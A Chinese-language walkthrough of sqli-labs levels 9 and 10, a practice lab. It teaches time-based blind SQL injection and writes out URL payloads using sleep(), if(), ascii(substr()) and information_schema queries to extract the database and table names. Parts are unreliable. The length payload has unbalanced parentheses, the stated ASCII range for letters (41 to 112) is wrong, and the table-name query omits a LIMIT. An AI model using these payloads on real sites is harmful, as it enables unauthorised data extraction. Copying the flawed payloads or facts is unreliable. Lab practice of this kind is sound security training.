sqli-labs通关（九）（十）

第九关

无论我们输入什么，都是显示同一个结果，没有任何区别 

那这一关可能就是是基于时间的盲注 ，用到sleep()函数，输入

?id=1'and sleep(5)--+ 

 发现页面响应时间延迟了五秒，说明我们的sleep()函数执行了

还要用到if()函数

if（expr1，expr2，expr3） 如果expr1为真，则if函数执行expr2语句，否则if函数执行expr3语句

判断数据库名的长度,如果数据库名字长度大于9，则执行sleep(5),延迟五秒响应，否则执行1

?id=1'and if(length((select database())>9,sleep(5),1)--+

 接着判断数据库名，数据库名应该是大小写字母组成，对应的ASCII码应该是从41到112的范围内，可以用>或<确定范围再用二分法慢慢确定，也可以直接用=一个一个地遍历

?id=1'and if(ascii(substr((select database()),1,1))<91,sleep(5),1)--+

这是对应的ASCII码表

ASCII 码		字符		ASCII 码		字符		ASCII 码		字符		ASCII 码		字符
十进位	十六进位			十进位	十六进位			十进位	十六进位			十进位	十六进位
032	20			056	38	8		080	50	P		104	68	h
033	21	!		057	39	9		081	51	Q		105	69	i
034	22	"		058	3A	:		082	52	R		106	6A	j
035	23	#		059	3B	;		083	53	S		107	6B	k
036	24	$		060	3C	<		084	54	T		108	6C	l
037	25	%		061	3D	=		085	55	U		109	6D	m
038	26	&		062	3E	>		086	56	V		110	6E	n
039	27	'		063	3F	?		087	57	W		111	6F	o
040	28	(		064	40	@		088	58	X		112	70	p
041	29	)		065	41	A		089	59	Y		113	71	q
042	2A	*		066	42	B		090	5A	Z		114	72	r
043	2B	+		067	43	C		091	5B	[		115	73	s
044	2C	,		068	44	D		092	5C	\		116	74	t
045	2D	-		069	45	E		093	5D	]		117	75	u
046	2E	.		070	46	F		094	5E	^		118	76	v
047	2F	/		071	47	G		095	5F	_		119	77	w
048	30	0		072	48	H		096	60	`		120	78	x
049	31	1		073	49	I		097	61	a		121	79	y
050	32	2		074	4A	J		098	62	b		122	7A	z
051	33	3		075	4B	K		099	63	c		123	7B	{
052	34	4		076	4C	L		100	64	d		124	7C	|
053	35	5		077	4D	M		101	65	e		125	7D	}
054	36	6		078	4E	N		102	66	f		126	7E	~
055	37	7		079	4F	O		103	67	g		127	7F	DEL

 接着判断所有表名的长度

?id=1'and if(length((select table_name from information_schema.tables where table_schema=database()))<50,sleep(5),1)--+

 判断所有表名

?id=1'and if(ascii(substr((select table_name from information_schema.tables where table_schema=database()),1,1))=41,sleep(5),1)--+

第十关 

跟第九关的区别就是把单引号改成双引号